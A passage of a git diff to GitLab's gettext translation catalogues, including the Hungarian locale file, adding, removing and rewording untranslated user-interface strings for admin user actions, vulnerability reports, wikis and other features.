msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27049,6 +27664,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27364,9 +27982,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27376,9 +27991,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27421,6 +28033,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27484,7 +28099,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27493,9 +28108,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27610,7 +28222,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27631,9 +28243,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27712,6 +28321,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27757,6 +28369,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28057,6 +28672,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28075,6 +28693,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28210,7 +28831,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28309,6 +28930,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28651,6 +29275,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28717,7 +29344,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28789,10 +29416,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28987,9 +29614,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29008,6 +29632,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29044,6 +29671,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29134,6 +29764,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29281,6 +29914,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29338,6 +29977,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29383,6 +30025,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29413,6 +30058,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29449,6 +30097,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29491,15 +30142,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29569,7 +30220,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29650,6 +30301,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29707,6 +30361,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29800,9 +30457,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29908,6 +30562,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29956,10 +30616,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29974,6 +30631,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29998,6 +30658,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30127,6 +30790,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30142,6 +30808,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30223,12 +30892,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30286,7 +30961,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30442,6 +31123,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30523,9 +31207,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30535,6 +31216,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30580,6 +31264,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30739,6 +31426,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30781,6 +31471,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30859,6 +31552,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30943,9 +31642,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30988,13 +31684,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31024,9 +31717,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31045,6 +31735,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31069,6 +31762,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31081,6 +31777,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31222,6 +31921,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31270,6 +31972,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31279,6 +31987,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31288,6 +31999,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31459,13 +32173,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31633,6 +32344,12 @@ msgstr[2] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31651,9 +32368,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31669,9 +32383,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31711,9 +32422,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31804,6 +32512,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31831,6 +32542,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31852,7 +32566,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32383,6 +33097,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32410,6 +33127,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32422,6 +33142,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32503,6 +33226,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32557,6 +33283,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32569,9 +33298,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32620,9 +33355,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32653,10 +33385,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32665,6 +33397,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32674,6 +33409,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32746,6 +33484,12 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/hu_HU/gitlab.po b/locale/hu_HU/gitlab.po
index 865293cd765..a004ca72448 100644
--- a/locale/hu_HU/gitlab.po
+++ b/locale/hu_HU/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: hu\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:47\n"
+"PO-Revision-Date: 2020-12-03 08:16\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
